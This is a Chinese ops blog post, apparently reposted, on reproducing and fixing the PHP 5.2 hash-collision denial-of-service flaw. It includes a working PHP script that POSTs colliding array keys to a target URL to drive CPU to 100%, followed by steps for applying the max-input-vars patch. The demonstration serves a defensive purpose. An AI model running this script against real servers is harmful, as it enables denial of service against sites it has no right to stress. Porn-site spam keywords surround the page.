精品免费在线观看-精品欧美-精品欧美成人bd高清在线观看-精品欧美高清不卡在线-精品欧美日韩一区二区

17站長(zhǎng)網(wǎng)

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法

2022-9-24 21:23| 查看: 2580 |來(lái)源: 互聯(lián)網(wǎng)

我們先看下環(huán)境,這個(gè)網(wǎng)站是LAMP架構(gòu),PHP版本是5.2.17。 PHP未打補(bǔ)丁前,服務(wù)器CPU情況,目前是2.1%的使用率。     我們?cè)谶@臺(tái)web服務(wù)器上編寫(xiě)一個(gè)PHP程序,目的是要測(cè)試機(jī)去Hash它,以便故障

我們先看下環(huán)境,這個(gè)網(wǎng)站是LAMP架構(gòu),PHP版本是5.2.17。

PHP未打補(bǔ)丁前,服務(wù)器CPU情況,目前是2.1%的使用率。

    我們?cè)谶@臺(tái)web服務(wù)器上編寫(xiě)一個(gè)PHP程序,目的是要測(cè)試機(jī)去Hash它,以便故障重現(xiàn)。
程序語(yǔ)言如下:

復(fù)制代碼代碼如下:
echo $showtime=date("Y-m-d H:i:s");
?>

執(zhí)行后的效果是取當(dāng)前服務(wù)器的時(shí)間。

    找臺(tái)有PHP環(huán)境的測(cè)試機(jī)器,這臺(tái)機(jī)器我用虛擬機(jī),里面有LAMP環(huán)境。進(jìn)/usr/local/apache/htdocs目錄,寫(xiě)一PHP網(wǎng)頁(yè),程序語(yǔ)言如下:
[root@blog htdocs]# Vi hash.php


復(fù)制代碼代碼如下:
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}
$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>

url地址,為你要作測(cè)試的目標(biāo)機(jī),i<100,表示最多100個(gè)并發(fā)。手工執(zhí)行hash.php,進(jìn)行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php

   在web服務(wù)器端,我們?nèi)タ捶⻊?wù)器的資源利用情況,CPU是97.6%,看樣子單臺(tái)虛擬機(jī),拿100并發(fā)去Hash,就足夠把web服務(wù)器的CPU利用率升至100%。


    Cpu到了100%,網(wǎng)站是什么情況呢。我們?cè)贋g覽該臺(tái)web服務(wù)器,點(diǎn)網(wǎng)站上面的鏈接,反應(yīng)正常,估計(jì)是這臺(tái)web服務(wù)器本身沒(méi)有一點(diǎn)壓力,所以看不出來(lái)。把并發(fā)量調(diào)到10000,再測(cè)下,剛才是100并發(fā)。

刷新checktime.php頁(yè)面,可以很快顯示,網(wǎng)站正常。但此時(shí)web服務(wù)器cpu已是100%

結(jié)論,我是用個(gè)人博客作目標(biāo)機(jī),因?yàn)閭(gè)人博客,目前只有幾個(gè)人訪問(wèn),沒(méi)有壓力,所以即使,通過(guò)10000并發(fā)的Hash,CPU上到100%,個(gè)人博客打開(kāi)的速度,還是相當(dāng)快。

打上補(bǔ)丁,我們?cè)儆^察一下。
1、先查下以后在搭建環(huán)境時(shí),PHP的編譯參數(shù)

2、到網(wǎng)上去下載一個(gè)PHP補(bǔ)丁,下載地址為:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars


3、根據(jù)個(gè)人平臺(tái)的版本號(hào),點(diǎn)擊進(jìn)去,注意,不要在它上面點(diǎn)右鍵,另存為,否則你down下的是一個(gè)html文件,文件名倒是php-5.2.17-max-input-vars.patch。
在新彈出的頁(yè)面點(diǎn)“raw”,就會(huì)打開(kāi)這個(gè)補(bǔ)丁文件。


   把里面的內(nèi)容復(fù)制,我這里只截了它一小部分。然后在web服務(wù)器上新建一個(gè)文件,php-5.2.17-max-input-vars.patch,里面就是剛復(fù)制的。

4、進(jìn)php的原始安裝目錄,我這里環(huán)境是/opt/soft/php-5.2.17。先把原來(lái)已編譯好的一些,清理一下。


5、打補(bǔ)丁并重新編譯一下php

再config
再make ZEND_EXTRA_LIBS='-liconv' //有的平臺(tái)是make,每個(gè)環(huán)境不一樣
再make install

6、重啟一下apache,看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start

訪問(wèn)一下,web服務(wù)器的phpinfo.php,查看PHP環(huán)境有沒(méi)有變化。大家可以在最上面看到,PHP版本后帶了個(gè)P1。這個(gè)還不夠,我們?cè)儆肏ash碰撞一下,看cpu會(huì)不會(huì)上100%。


在測(cè)試機(jī)上,還是取并發(fā)10000,去Hash web服務(wù)器。發(fā)現(xiàn)web服務(wù)器的CPU一直保持在0.5%。

 

問(wèn)題解決!
 

本文出自 “系統(tǒng)網(wǎng)絡(luò)運(yùn)維” 博客

本文最后更新于 2022-9-24 21:23,某些文章具有時(shí)效性,若有錯(cuò)誤或已失效,請(qǐng)?jiān)诰W(wǎng)站留言或聯(lián)系站長(zhǎng):17tui@17tui.com
·END·
站長(zhǎng)網(wǎng)微信號(hào):w17tui,關(guān)注站長(zhǎng)、創(chuàng)業(yè)、關(guān)注互聯(lián)網(wǎng)人 - 互聯(lián)網(wǎng)創(chuàng)業(yè)者營(yíng)銷服務(wù)中心

免責(zé)聲明:本站部分文章和圖片均來(lái)自用戶投稿和網(wǎng)絡(luò)收集,旨在傳播知識(shí),文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請(qǐng)勿用于商業(yè)用途,如果損害了您的權(quán)利,請(qǐng)聯(lián)系我們及時(shí)修正或刪除。謝謝!

17站長(zhǎng)網(wǎng)微信二維碼

始終以前瞻性的眼光聚焦站長(zhǎng)、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長(zhǎng)轉(zhuǎn)型升級(jí),為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營(yíng)銷服務(wù),與站長(zhǎng)一起進(jìn)步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨(dú)!

掃一掃,關(guān)注站長(zhǎng)網(wǎng)微信

大家都在看

    熱門(mén)排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 欧美在线一区视频 | 尤物国产在线精品福利一区 | 2020国产免费久久精品99 | 国产日b视频 | 99xxoo视频在线永久免费观看 | 午夜大片免费完整在线看 | 国产黄色毛片 | 色播99 | 可以免费看黄的网站 | 微拍 福利 视频 国产 | 亚洲精品在线播放视频 | 久久婷婷色香五月综合激情 | 全免费午夜一级毛片一级毛 | 国产精品福利无圣光在线一区 | 亚洲精品人成网在线播放影院 | 色99在线 | 久久91在线| 97国产大学生情侣11在线视频 | 久久久久久午夜精品 | 中文字幕电影在线观看 | 日韩欧美黄色片 | 99亚洲精品 | 国产精品久久亚洲一区二区 | yy9299国产精品视频 | 亚洲国产另类久久久精品小说 | 91精品视频免费在线观看 | 国产成人精品免费视频大 | 96免费精品视频在线观看 | 在线观看扣喷水 | 日韩在线 在线播放 | 一级做a爰片久久毛片免费看 | 九九九精品视频免费 | 黄大色黄美女精品大毛片 | 99久久精品费精品国产一区二 | 亚洲精品视频在线免费 | 操日本人 | 视频一本大道香蕉久在线播放 | 玖玖色视频 | 欧美日本在线播放 | 国产精品拍自在线观看 | 91短视频在线观看免费最新 |